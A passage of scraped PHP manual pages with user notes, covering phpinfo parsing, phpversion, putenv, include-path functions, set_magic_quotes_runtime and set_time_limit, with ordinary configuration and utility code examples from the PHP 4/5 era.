Yes, we cheat on preparing the selector list.

<?php
ob_start();
phpinfo();

preg_match ('%<style type="text/css">(.*?)</style>.*?(<body>.*</body>)%s', ob_get_clean(), $matches);

# $matches [1]; # Style information
# $matches [2]; # Body information

echo "<div class='phpinfodisplay'><style type='text/css'>\n",
    join( "\n",
        array_map(
            create_function(
                '$i',
                'return ".phpinfodisplay " . preg_replace( "/,/", ",.phpinfodisplay ", $i );'
                ),
            preg_split( '/\n/', $matches[1] )
            )
        ),
    "</style>\n",
    $matches[2],
    "\n</div>\n";
?>

Perhaps one day the phpinfo() function will be modified to output such a safe string on its own.
Andrew dot Boag at catalyst dot net dot nz 09-Sep-2007 12:47
One note on the above functions for cleaning up the phpinfo() HTML and throwing it into an array data structure. In order to catch all of the info tidbits the preg_match_all has to be tweaked to deal with 2 and 3 column tables.

I have changed the preg_match_all() here so that the last <td></td> is optional

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(-1);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td>(:?<td class="v">(.*?)<\/td>)?<\/tr>/',$s,$mtc,PREG_SET_ORDER))
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jo at durchholz dot org 14-Aug-2007 02:43
Here's a variant of "print it without headers, but include the style information":

<?php
ob_start();
phpinfo();
$info = ob_get_clean ();

$matches = array ();
$i = preg_match ('%(<style type="text/css">.*</style>).*<body>(.*)</body>%s', $info, $matches);

print $matches [1]; # Style information
print $matches [2]; # Body
dev at cheechtech dot com 07-Jan-2007 01:35
same as above for configuration variables

<?php
function parsePHPConfig() {
    ob_start();
    phpinfo(INFO_CONFIGURATION);
    $s = ob_get_contents();
    ob_end_clean();
    $a = $mtc = array();
    if (preg_match_all('/<tr><td class="e">(.*?)<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>/',$s,$mtc,PREG_SET_ORDER)) {
        foreach($mtc as $v){
            if($v[2] == '<i>no value</i>') continue;
            $a[$v[1]] = $v[2];
        }
    }
    return $a;
}
?>
jb2386 at hotmail dot com 10-Oct-2006 09:29
This is a slight modification to the previous code by "code at adspeed dot com" that extracts the PHP modules as an array. I used it on PHP 4.1.2 and it failed as the <h2> tags also had an align="center". So this update changes the regex for those tags:

<?php

/* parse php modules from phpinfo */

function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2[^>]*>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2[^>]*>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
   $vPat = '<info>([^<]+)<\/info>';
   $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
   $vPat2 = "/$vPat\s*$vPat/";
   if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
   } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
   }
   }
  }
 }
 return $vModules;
}
?>
php at SPAMMENOT dot tof2k dot com 10-Sep-2006 03:32
To obtain a phpinfo without headers (and css) :

<?php
ob_start();
phpinfo();
$info = ob_get_contents();
ob_end_clean();

$info = preg_replace('%^.*<body>(.*)</body>.*$%ms', '$1', $info);
?>

You can then style your tables & headings :)
code at adspeed dot com 09-Dec-2005 03:31
This function parses the phpinfo output to get details about a PHP module.

<?php
/** parse php modules from phpinfo */
function parsePHPModules() {
 ob_start();
 phpinfo(INFO_MODULES);
 $s = ob_get_contents();
 ob_end_clean();

 $s = strip_tags($s,'<h2><th><td>');
 $s = preg_replace('/<th[^>]*>([^<]+)<\/th>/',"<info>\\1</info>",$s);
 $s = preg_replace('/<td[^>]*>([^<]+)<\/td>/',"<info>\\1</info>",$s);
 $vTmp = preg_split('/(<h2>[^<]+<\/h2>)/',$s,-1,PREG_SPLIT_DELIM_CAPTURE);
 $vModules = array();
 for ($i=1;$i<count($vTmp);$i++) {
  if (preg_match('/<h2>([^<]+)<\/h2>/',$vTmp[$i],$vMat)) {
   $vName = trim($vMat[1]);
   $vTmp2 = explode("\n",$vTmp[$i+1]);
   foreach ($vTmp2 AS $vOne) {
    $vPat = '<info>([^<]+)<\/info>';
    $vPat3 = "/$vPat\s*$vPat\s*$vPat/";
    $vPat2 = "/$vPat\s*$vPat/";
    if (preg_match($vPat3,$vOne,$vMat)) { // 3cols
     $vModules[$vName][trim($vMat[1])] = array(trim($vMat[2]),trim($vMat[3]));
    } elseif (preg_match($vPat2,$vOne,$vMat)) { // 2cols
     $vModules[$vName][trim($vMat[1])] = trim($vMat[2]);
    }
   }
  }
 }
 return $vModules;
}
?>

Sample Output:
[gd] => Array
(
  [GD Support] => enabled
  [GD Version] => bundled (2.0.28 compatible)
  [FreeType Support] => enabled
  [FreeType Linkage] => with freetype
  [FreeType Version] => 2.1.9
  [T1Lib Support] => enabled
  [GIF Read Support] => enabled
  [GIF Create Support] => enabled
  [JPG Support] => enabled
  [PNG Support] => enabled
  [WBMP Support] => enabled
  [XBM Support] => enabled
)

[date] => Array (
  [date/time support] => enabled
  [Timezone Database Version] => 2005.14
  [Timezone Database] => internal
  [Default timezone] => America/Los_Angeles
  [Directive] => Array (
     [0] => Local Value
     [1] => Master Value
  )
  [date.timezone] => Array (
     [0] => no value
     [1] => no value
  )
 )

<?php
/** get a module setting */
function getModuleSetting($pModuleName,$pSetting) {
 $vModules = parsePHPModules();
 return $vModules[$pModuleName][$pSetting];
}
?>

Example: getModuleSetting('gd','GD Version'); returns "bundled (2.0.28 compatible)"
Helpful Harry 06-Oct-2005 08:38
check out this cool and fantastic colourful phpinfo()!

<?php

ob_start();
phpinfo();
$phpinfo = ob_get_contents();
ob_end_clean();

preg_match_all('/#[0-9a-fA-F]{6}/', $phpinfo, $rawmatches);
for ($i = 0; $i < count($rawmatches[0]); $i++)
   $matches[] = $rawmatches[0][$i];
$matches = array_unique($matches);

$hexvalue = '0123456789abcdef';

$j = 0;
foreach ($matches as $match)
{

   $r = '#';
   $searches[$j] = $match;
   for ($i = 0; $i < 6; $i++)
      $r .= substr($hexvalue, mt_rand(0, 15), 1);
   $replacements[$j++] = $r;
   unset($r);
}

for ($i = 0; $i < count($searches); $i++)
   $phpinfo = str_replace($searches, $replacements, $phpinfo);
echo $phpinfo;
?>
phpcredits
phpversion
PHP Options/Info Functions


Gets the current PHP version

phpinfo
putenv
PHP Options/Info Functions
PHP Manual

phpversion

(PHP 4, PHP 5)

phpversion — Gets the current PHP version

Description

string phpversion ([ string $extension ] )

Returns a string containing the version of the currently running PHP parser or extension.

Parameters

extension

An optional extension name.

Return Values

If the optional extension parameter is specified, phpversion() returns the version of that extension, or FALSE if there is no version information associated or the extension isn't enabled.

Examples

Example #1 phpversion() example

<?php
// prints e.g. 'Current PHP version: 4.1.1'
echo 'Current PHP version: ' . phpversion();

// prints e.g. '2.0' or nothing if the extension isn't enabled
echo phpversion('tidy');
?>

Example #2 PHP_VERSION_ID example and usage

<?php
// PHP_VERSION_ID is available as of PHP 5.2.7, if our
// version is lower than that, then emulate it
if (!defined('PHP_VERSION_ID')) {
    $version = explode('.', PHP_VERSION);

    define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}

// PHP_VERSION_ID is defined as a number, where the higher the number
// is, the newer a PHP version is used. It's defined as used in the above
// expression:
//
// $version_id = $major_version * 10000 + $minor_version * 100 + $release_version;
//
// Now with PHP_VERSION_ID we can check for features this PHP version
// may have, this doesn't require to use version_compare() everytime
// you check if the current PHP version may not support a feature.
//
// For example, we may here define the PHP_VERSION_* constants thats
// not available in versions prior to 5.2.7

if (PHP_VERSION_ID < 50207) {
    define('PHP_MAJOR_VERSION',   $version[0]);
    define('PHP_MINOR_VERSION',   $version[1]);
    define('PHP_RELEASE_VERSION', $version[2]);

    // and so on, ...
}
?>

Notes

Note:

This information is also available in the predefined constant PHP_VERSION. More versioning information is available using the PHP_VERSION_* constants.

See Also

  • PHP_VERSION constants
  • version_compare() - Compares two "PHP-standardized" version number strings
  • phpinfo() - Outputs information about PHP's configuration
  • phpcredits() - Prints out the credits for PHP
  • php_logo_guid() - Gets the logo guid
  • zend_version() - Gets the version of the current Zend engine

User Contributed Notes

pavankumar at tutorvista dot com 29-Oct-2010 12:39
To know, what are the {php} extensions loaded & version of extensions :

<?php
foreach (get_loaded_extensions() as $i => $ext)
{
   echo $ext .' => '. phpversion($ext). '<br/>';
}
?>
Sam Yong - hellclanner at live dot com 28-Aug-2009 09:48
Take note that if you pass phpversion() with an empty string, eg.

<?php
echo phpversion('');
?>

It will not return anything, since it cannot find an extension with the name string(0) ''.
bitworks at web dot de 26-Jun-2009 07:31
to realize if the actual version ist newer than '5.2.10'
simply use:

<?php
    if (strnatcmp(phpversion(),'5.2.10') >= 0)
    {
        # equal or newer
    }
    else
    {
        # not sufficiant
    }
?>
dmitry DOT seredinov AT gmail DOT com 10-Jan-2009 01:50
To simple receive a major PHP version value (e.g., 5.2), you can use next:
<?php
// Output below will looks like '5.2', depends to your version
echo floatval(phpversion());
?>
pl DOT baasch AT skycube DOT net 13-Jul-2008 08:17
In a addition to phpversion,..

if you've got a system like ubuntu or some else, you get
<?php
echo phpversion(); // 5.2.4-2ubuntu5.2
?>

To fix this, use the following:
<?php
echo substr(phpversion(),0,strpos(phpversion(), '-'));
?>
phpinfo
putenv
PHP Options/Info Functions


Sets the value of an environment variable

phpversion
restore_include_path
PHP Options/Info Functions
PHP Manual

putenv

(PHP 4, PHP 5)

putenv — Sets the value of an environment variable

Description

bool putenv ( string $setting )

Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.

Setting certain environment variables may be a potential security breach. The safe_mode_allowed_env_vars directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied by this directive. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, PHP will let the user modify ANY environment variable!

The safe_mode_protected_env_vars directive contains a comma-delimited list of environment variables, that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

Parameters

setting

The setting, like "FOO=BAR"

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting an environment variable

<?php
putenv("UNIQID=$uniqid");
?>

Notes

Warning

The safe_mode_allowed_env_vars and safe_mode_protected_env_vars directives only take effect when safe_mode is enabled.

See Also

  • getenv() - Gets the value of an environment variable

User Contributed Notes

simon at systemparadox dot co dot uk 24-Feb-2011 05:23
It seems that putenv() doesn't work when using virtual() to call CGI's. The environment variables don't carry over to the CGI. Try apache_setenv() instead.
php at keith tyler dot com 21-Jun-2010 05:52
putenv/getenv, $_ENV, and phpinfo(INFO_ENVIRONMENT) are three completely distinct environment stores. doing putenv("x=y") does not affect $_ENV; but also doing $_ENV["x"]="y" likewise does not affect getenv("x"). And neither affect what is returned in phpinfo().

Assuming the USER environment variable is defined as "dave" before running the following:

<?php
print "env is: ".$_ENV["USER"]."\n";
print "(doing: putenv fred)\n";
putenv("USER=fred");
print "env is: ".$_ENV["USER"]."\n";
print "getenv is: ".getenv("USER")."\n";
print "(doing: set _env barney)\n";
$_ENV["USER"]="barney";
print "getenv is: ".getenv("USER")."\n";
print "env is: ".$_ENV["USER"]."\n";
phpinfo(INFO_ENVIRONMENT);
?>

prints:

env is: dave
(doing: putenv fred)
env is: dave
getenv is: fred
(doing: set _env barney)
getenv is: fred
env is: barney
phpinfo()

Environment

Variable => Value
...
USER => dave
...
JM 16-Feb-2007 06:41
The other problem with the code from av01 at bugfix dot cc is that
the behaviour is as per the comments here, not there:
<?php
putenv('MYVAR='); // set MYVAR to an empty value.  It is in the environment
putenv('MYVAR'); // unset MYVAR.  It is removed from the environment
?>
povaddict 04-Jun-2006 05:18
av01 at bugfix dot cc:

"putenv('MYVAR='); // unset, otherwise this will pass when run the next time"
it won't pass when run next time, "At the end of the request the environment is restored to its original state."
av01 at bugfix dot cc 03-Oct-2005 07:32
Please be aware, that using putenv() does NOT effect the superglobal $_ENV[] variable. If you want to, set it seperately

<?php
  putenv('MYVAR=hello');
  assert(getenv('MYVAR') == 'hello'); // passes
  assert($_ENV['MYVAR'] == 'hello'); // fails!
  putenv('MYVAR='); // unset, otherwise this will pass when run the next time
?>
Iavor 07-Feb-2005 02:06
Compare to apache_setenv() and apache_getenv().

I had a case setting an env var in VirtualHost which I tried to change with putenv() - but did not work.

apache_setenv() worked.
cap at capsi dot com 27-Mar-2003 10:18
I've been using putenv with PHP 4.3.1 and Apache 2.0.44, but it does not seem to restore variables correctly. I'm getting +0100 and -0800 entries all across my Apache logs. Manually adding a putenv in page footers to restore the original value seems to fix things, but I still wish I could set the time zone for a specific request only.

I'm not sure whether using putenv affects all threads within the process, that could be another problem.
verkoop at it-design dot com 08-Mar-2001 03:19
for those who have problems with the putenv ('TZ=Europe/Amsterdam').
I found that there is a solution/work-a-round. It will work, but only if you add  mktime(0,0,0,1,1,1970) on the next line. So:

<?php
 putenv ('TZ=Europe/Amsterdam');
 mktime(0,0,0,1,1,1970)
 echo date("H:i:s");
?>
david dot boyce at messagingdirect dot comnospam 13-Sep-2000 10:23
Environment variables are part of the underlying operating system's
way of doing things, and are used to pass information between a parent
process and its child, as well as to affect the way some internal
functions behave.  They should not be regarded as ordinary PHP
variables.

A primary purpose of setting environment variables in a PHP script is
so that they are available to processes invoked by that script using
e.g. the system() function, and it's unlikely that they would need to
be changed for other reasons.

For example, if a particular system command required a special value
of the environment variable LD_LIBRARY_PATH to execute successfully,
then the following code might be used on a *NIX system:

<?php
 $saved = getenv("LD_LIBRARY_PATH");        // save old value
 $newld = "/extra/library/dir:/another/path/to/lib";  // extra paths to add
 if ($saved) { $newld .= ":$saved"; }           // append old paths if any
 putenv("LD_LIBRARY_PATH=$newld");        // set new value
 system("mycommand -with args");        // do system command;
                        // mycommand is loaded using
                        // libs in the new path list
 putenv("LD_LIBRARY_PATH=$saved");        // restore old value
?>

It will usually be appropriate to restore the old value after use;
LD_LIBRARY_PATH is a particularly good example of a variable which it
is important to restore immediately, as it is used by internal
functions.

If php.ini configuration allows, the values of environment variables
are made available as PHP global variables on entry to a script, but
these global variables are merely copies and do not track the actual
environment variables once the script is entered.  Changing
$REMOTE_ADDR (or even $HTTP_ENV_VARS["REMOTE_ADDR"]) should not be
expected to affect the actual environment variable; this is why
putenv() is needed.

Finally, do not rely on environment variables maintaining the same
value from one script invocation to the next, especially if you have
used putenv().  The result depends on many factors, such as CGI vs
apache module, and the exact way in which the environment is
manipulated before entering the script.
phpversion
restore_include_path
PHP Options/Info Functions


Restores the value of the include_path configuration option

putenv
set_include_path
PHP Options/Info Functions
PHP Manual

restore_include_path

(PHP 4 >= 4.3.0, PHP 5)

restore_include_path — Restores the value of the include_path configuration option

Description

void restore_include_path ( void )

Restores the include_path configuration option back to its original master value as set in php.ini

Return Values

No value is returned.

Examples

Example #1 restore_include_path() example

<?php

echo get_include_path();  // .:/usr/local/lib/php

set_include_path('/inc');

echo get_include_path();  // /inc

// Works as of PHP 4.3.0
restore_include_path();

// Works in all PHP versions
ini_restore('include_path');

echo get_include_path();  // .:/usr/local/lib/php

?>

See Also

  • ini_restore() - Restores the value of a configuration option
  • get_include_path() - Gets the current include_path configuration option
  • set_include_path() - Sets the include_path configuration option
  • include()

User Contributed Notes

There are no user contributed notes for this page.
putenv
set_include_path
PHP Options/Info Functions


Sets the include_path configuration option

restore_include_path
set_magic_quotes_runtime
PHP Options/Info Functions
PHP Manual

set_include_path

(PHP 4 >= 4.3.0, PHP 5)

set_include_path — Sets the include_path configuration option

Description

string set_include_path ( string $new_include_path )

Sets the include_path configuration option for the duration of the script.

Parameters

new_include_path

The new value for the include_path

Return Values

Returns the old include_path on success or FALSE on failure.

Examples

Example #1 set_include_path() example

<?php
// Works as of PHP 4.3.0
set_include_path('/usr/lib/pear');

// Works in all PHP versions
ini_set('include_path', '/usr/lib/pear');
?>

Example #2 Adding to the include path

Making use of the PATH_SEPARATOR constant, it is possible to extend the include path regardless of the operating system.

In this example we add /usr/lib/pear to the end of the existing include_path.

<?php
$path = '/usr/lib/pear';
set_include_path(get_include_path() . PATH_SEPARATOR . $path);
?>

See Also

  • ini_set() - Sets the value of a configuration option
  • get_include_path() - Gets the current include_path configuration option
  • restore_include_path() - Restores the value of the include_path configuration option
  • include()

User Contributed Notes

francois r vespa 01-Apr-2011 11:17
include_path is not taking in consideration by very commonly used functions such as file_exists(), the following hack can come handy to override that

<?php

function suchFile($file)    // like file_exists() but takes in consideration include_path

{
    if(!file_exists($file))

    {
        $paths=explode(PATH_SEPARATOR,get_include_path());

        foreach($paths as $p)
        if(file_exists(preg_replace('%/$%','',$p)."/$file"))
        return true;

        return false;
    }
    else
    return true;
}
?>
joel at pittet dot ca 17-Nov-2010 02:46
Seems set_include_path wasn't working for me.

The problem was i didn't have .:  in my include_path
Which seemed to stop the set_include_path().
mateusz at bkfmyjnie dot pl 14-May-2010 02:54
It seems you can't really set empty inlude_path. First, set_include_path('') does exactly nothing (successfully), and second, '.' is always implicitly appended to the include path by PHP itself, as noted in comments below.

However, you can:
set_include_path(PATH_SEPARATOR); // note no quotes around the PATH_SEPARATOR; it's a string on its own

or, more explicit:
set_include_path('.');

Both seems to have the same result.
parks at vecinc dot com 27-Jul-2009 11:44
If you find that this function is failing for you, and you're not sure why, you may have set your php include path in your sites's conf file in Apache  (this may be true of .htaccess as well)

So to get it to work, comment out any "php_value include_path" type lines in your Apache conf file, and you should be able to set it now in your php code.
ChanibaL.net 07-Jan-2009 05:21
The files are included in order of the inclusion path, in this example, the directory structure is as follows:
.
|-- index.php
|-- t1
|   |-- a
|   `-- b
`-- t2
    |-- b
    `-- c

<?php

set_include_path('t1'.PATH_SEPARATOR.'t2');

include 'a';  // includes from T1
include 'b';  // includes from T1
include 'c';  // includes from T2

?>

Note that the include path affects only include/require functions.

<?php

var_dump(file_exists('a'));  // false
var_dump(fopen('b', 'r'));  // file not found

?>
ricardo dot ferro at gmail dot com 14-May-2008 11:16
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
chris-r3i 06-Mar-2007 02:35
Can be useful to check the value of the constant PATH_SEPARATOR.

<?php
if ( ! defined( "PATH_SEPARATOR" ) ) {
  if ( strpos( $_ENV[ "OS" ], "Win" ) !== false )
    define( "PATH_SEPARATOR", ";" );
  else define( "PATH_SEPARATOR", ":" );
}
?>

For older versions of php, PATH_SEPARATOR is not defined.
If it is so, we must check what kind of OS is on the web-server and define PATH_SEPARATOR properly
koenig at electronova dot net 02-Oct-2006 09:24
You can also add several paths in one set_include_path separating them by ':'.
ex : set_include_path('/home/mysite/includes1:/home/mysite/includes2')
junya at xs4all dot nl 28-Jan-2005 05:41
When you use .htaccess to set the include path, don't forget Apache directive 'AllowOverride Options' or 'AllowOverride All' is also needed.
df a t dougfelton d o t c o m 25-Jan-2005 07:37
In order to use .htaccess files to set the include path, PHP must be installed as an Apache module. If PHP is compiled as a CGI binary, you can set the include path in a custom php.ini file (if, for example, you're being hosted somewhere and don't have access to the main php.ini file.  Note that custom php.ini files don't affect subdirectories in the way that .htaccess files do, so you'll need to put your custom php.ini file in any subdirectories as well.
r dot s dot goldsmith at far-blue dot co dot uk 08-Dec-2004 03:23
If you want to set the paths php uses to find included files on a directory by directory level, you can do so in Apache's .htaccess file. Add the line:

php_value include_path  "<first path to look>:<second path>:<etc>:."

to the .htaccess file. This will replace any paths set in your environment or the php.ini file so remember to include the path to php's own libraries as, usually, the first option!

V.useful tip given to me by the 'php guy' at Edinburgh Uni's Computing Support.
restore_include_path
set_magic_quotes_runtime
PHP Options/Info Functions


Sets the current active configuration setting of magic_quotes_runtime

set_include_path
set_time_limit
PHP Options/Info Functions
PHP Manual

set_magic_quotes_runtime

(PHP 4, PHP 5)

set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime

Description

bool set_magic_quotes_runtime ( bool $new_setting )

Set the current active configuration setting of magic_quotes_runtime.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

new_setting

FALSE for off, TRUE for on.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 set_magic_quotes_runtime() example

<?php
// Create a temporary file pointer
$fp = tmpfile();

// Write some data to the pointer
fwrite($fp, '\'PHP\' is a Recursive acronym');

// Without magic_quotes_runtime
rewind($fp);
set_magic_quotes_runtime(false);

echo 'Without magic_quotes_runtime: ' . fread($fp, 64), PHP_EOL;

// With magic_quotes_runtime
rewind($fp);
set_magic_quotes_runtime(true);

echo 'With magic_quotes_runtime: ' . fread($fp, 64), PHP_EOL;

// Clean up
fclose($fp);
?>

The above example will output:

Without magic_quotes_runtime: 'PHP' is a Recursive acronym
With magic_quotes_runtime: \'PHP\' is a Recursive acronym

See Also

  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • get_magic_quotes_runtime() - Gets the current active configuration setting of magic_quotes_runtime

User Contributed Notes

gusb at NOSPAM dot mailinator dot com 10-Oct-2011 04:14
You should NEVER rely on magic quotes or addslashes for security in an SQL context. You should ALWAYS use proper escape functions, such as mysql_real_escape_string. Failure to do so may result in an SQL injection vulnerability.
Anonymous 18-Aug-2010 03:13
Since this function is depracted as of PHP 5.3, use ini_set('magic_quotes_runtime', 0); instead.
Dim 12-Aug-2009 06:20
This function seems to be deprecated in PHP 5.3.
I got and error message : Deprecated: Function set_magic_quotes_runtime() is deprecated
php at nospam-qualystem dot com 09-Jan-2003 05:49
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.
yanshuldg at etang dot com 26-Mar-2002 02:42
set_magic_quote_runtime(1) is  very userful for copying data from one table to another table in mysql when there are many columns need addslashes
set_include_path
set_time_limit
PHP Options/Info Functions


Limits the maximum execution time

set_magic_quotes_runtime
sys_get_temp_dir
PHP Options/Info Functions
PHP Manual

set_time_limit

(PHP 4, PHP 5)

set_time_limit — Limits the maximum execution time

Description

void set_time_limit ( int $seconds )

Set the number of seconds a script is allowed to run. If this is reached, the script returns a fatal error. The default limit is 30 seconds or, if it exists, the max_execution_time value defined in the php.ini.

When called, set_time_limit() restarts the timeout counter from zero. In other words, if the timeout is the default 30 seconds, and 25 seconds into script execution a call such as set_time_limit(20) is made, the script will run for a total of 45 seconds before timing out.

Parameters

seconds

The maximum execution time, in seconds. If set to zero, no time limit is imposed.

Return Values

No value is returned.

Notes

Warning

This function has no effect when PHP is running in safe mode. There is no workaround other than turning off safe mode or changing the time limit in the php.ini.

Note:

The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.

See Also

  • max_execution_time
  • max_input_time

User Contributed Notes

ratty at brohoof dot com 25-Nov-2011 07:39
One thing that I wish I had found sooner is, if you're using php-cli and really need to limit the executation time, and if you're in *nix, you can use "timeout" which is part of coreutils.
For example:

timeout 5 /usr/bin/php -q /path/to/script

and it will kill it if it takes longer than 5 seconds.
I had a few quick php scripts I wrote for use with cacti for example.
alexander dot krause at ed-solutions dot de 29-Aug-2011 02:26
A nice workaround to have a real max_execution_time (needs posix and pcntl):

<?php
$pid=pcntl_fork();

if ($pid) {
  //long time process
  $a=0;
  while (true) {
    echo "a=$a\n\n";
    ob_flush();
    flush();
    $a++;
    shell_exec('sleep 10&');
  }
} else {
  //time-limit checker
  sleep(5);
  posix_kill(posix_getppid(),SIGKILL);
}
?>
agvozden at gmail dot com 01-Oct-2010 01:51
If you got something like:

msg: set_time_limit() [function.set-time-limit]: Cannot set time limit in safe mode

try this:

<?php
        if( !ini_get('safe_mode') ){
            set_time_limit(25);
        }
?>
kamazee at gmail dot com 21-Sep-2010 06:39
Keep in mind that for CLI SAPI max_execution_time is hardcoded to 0. So it seems to be changed by ini_set or set_time_limit but it isn't, actually.
The only references I've found to this strange decision are deep in bugtracker (http://bugs.php.net/37306) and in php.ini (comments for 'max_execution_time' directive).
Silver_Knight 23-Mar-2010 05:18
if you are running a script that needs to execute for unknown time, or forever.. you may use
set_time_limit(0);
.....
...
..
.
and at the end of the script use flush() function to tell phpto send out what it has generated.
ravenswd at gmail dot com 15-Aug-2009 04:46
Unfortunately, a script which gets into an infinite loop can produce an alarming amount of output in only a few seconds. I was attempting to debug a script, and I added

<?php
set_time_limit(2);
?>

to the beginning of the script. Unfortunately, even two seconds of run time produced enough output to overload the memory available to my browser.

So, I wrote a short routine which would limit the execution time, and also limit the amount of output returned. I added this to the beginning of my script and it worked perfectly:

<?php
set_time_limit(2);

ob_start();     // buffer output

function shutdown () {
    // print only first 2000 characters of output
    $out = ob_get_clean();
    print substr($out, 0, 2000);
}

register_shutdown_function('shutdown');
?>
BW 16-May-2009 05:08
If you use Apache you can change maximum execution time by .htaccess with this line

php_value max_execution_time 200
cweiske at cweiske dot de 02-Sep-2008 04:38
To get the currently used time, use getrusage()
jonathon dot keogh at gmail dot com 18-Jul-2008 02:07
You can do set_time_limit(0); so that the script will run forever - however this is not recommended and your web server might catch you out with an imposed HTTP timeout (usually around 5 minutes).

You should check your web server's guides for more information about HTTP timeouts.

Jonathon
gib at pganet dot com 20-Jun-2008 12:25
if you are using win2008server, iis7, then before using this option, do not forget to set some variables.

at:

%windir%\system32\inetsrv\

directory, execute the following commands to set the max time to 300 sec. (replace the PHPDIR and PHPEXE with the real ones):

appcmd set config /section:system.webServer/fastCGI /[fullPath='PHPDIR\PHPEXE'].activityTimeout:300
appcmd set config /section:system.webServer/fastCGI /[fullPath='PHPDIR\PHPEXE'].requestTimeout:300

If you want to make double-check that the configuration worked properly, you can check it like this:

appcmd list config -section:system.webServer/fastCgi
AtlantisNet 04-Jun-2008 12:08
In IIS, there is another global timeout setting which will override any PHP settings.  You can alter this timeout by following the following instructions:

http://www.iisadmin.co.uk/?p=7
riki1512 05-Jun-2007 05:29
Please note that, under Linux, sleeping time is ignored, but under Windows, it counts as execution time.
php at stock-consulting dot com 12-Jan-2007 05:30
To find out the currently set time limit, use

<?php
 ini_get('max_execution_time');
?>

If set_time_limit has been previously called in the script, the result will be the value which was passed to set_time_limit (and not, as the function name "ini_get" appears to suggest, the value from the php.ini file).
bjfieldNO at SPAMgmail dot com 10-Jan-2007 02:53
Timeouts after five minutes in IIS on Windows are caused by an inherited CGI Timeout value of 300 seconds.  This is not a PHP problem.  The fix is to add custom values for the files or directories that need longer to run.

In IIS 5.0 or 7.0 (beta as of this note), you can change this value on a fairly granular level using IIS Manager, under (roughly) YOURSITE -> Properties -> Home Directory -> Configuration (button) -> Options, but in IIS 6.0, this functionality is turned off (!), so you have to get into the Metabase.

Find the site number in Metabase Explorer (e.g., 12345678), then from CMD prompt:

[get to the scripts dir]
cd C:\Inetpub\AdminScripts

[this for each subdirectory from off the site root]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY" IIsWebDirectory

[this for the file in question]
cscript adsutil.vbs CREATE W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php IIsWebFile

[this to set the timeout]
cscript adsutil.vbs set W3SVC/12345678/root/"MY SUBDIRECTORY"/ILikeToTimeOut.php/CGITimeout "7200"

Note:  "7200" is 2 hours in seconds, but can be whatever.

I derived the solution above from this fine article:
http://www.iis-resources.com/modules/AMS/article.php?
storyid=509&page=3
mba_aslam at yahoo dot com 05-Jan-2007 05:50
while setting the set_time_limit(), the duration of sleep() will be ignored in the execution time. The following illustrates:

<?php

set_time_limit(20);

while ($i<=10)
{
        echo "i=$i ";
        sleep(100);
        $i++;
}

?>

Output:
i=0 i=1 i=2 i=3 i=4 i=5 i=6 i=7 i=8 i=9 i=10
27-Sep-2006 02:03
After the error

Fatal error: Maximum execution time of [...] seconds exceeded [...]

has appeared, shut-down functions are still called (afterwards). So, by using register_shutdown_function, you can save data in a session and offer the user a link to start the script again. Then the script can go on with the Session-data.

Example: if you are analyzing a text-file, you can save your analyzed data in a session together with the position of the filepointer (ftell) and start from that possition the next time the user runs the script (fseek).

